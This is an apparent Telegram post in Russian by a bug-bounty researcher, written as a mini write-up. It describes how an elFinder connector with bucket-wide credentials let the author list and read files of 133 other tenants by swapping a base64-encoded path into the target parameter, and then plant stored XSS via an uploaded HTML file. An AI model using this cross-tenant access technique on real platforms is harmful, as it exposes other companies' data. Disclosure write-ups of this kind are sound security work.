если мой тенант лежит в projects/prod/clientname, то что лежит в projects/prod/? Это же просто родительская директория. Там должны быть папки всех тенантов. Кодирую projects/prod обратно в base64, подставляю volume ID из оригинального запроса: echo -n 'projects/prod' | base64 cHJvamVjdHMvcHJvZA== Подставляю в запрос вместо оригинального хеша. Ответ - 133 директории. Каждая - отдельная компания-клиент платформы. Подтвердил: чтение файлов чужих тенантов, создание директории (сразу удалил), загрузку HTML который отдаётся CDN с text/html без CSP - stored XSS на легитимном домене в подарок. Забавно что напрямую бакет закрыт и листинг директорий отдаёт AccessDenied. Проблема не в публичном бакете. elFinder работает как прокси - у него на сервере лежат креды к бакету, и когда ты дёргаешь /elfinder/connector?cmd=ls&target=..., он со своими кредами лезет в бакет и отдаёт тебе результат. Бакет настроен нормально, а вот elFinder имеет доступ ко ВСЕМУ бакету без ограничения по префиксу тенанта.

  • В этом канале за основу возьму написание мини райтапов по интересным, на мой взгляд багам, котторые я находил на проектах или bugbounty. Може кто-то почерпнет для себя что-то новое, а может и вспомнит какую-то технику. А параллельно буду постить что душа пожелает.

  • Channel created

Пингискок — tgindex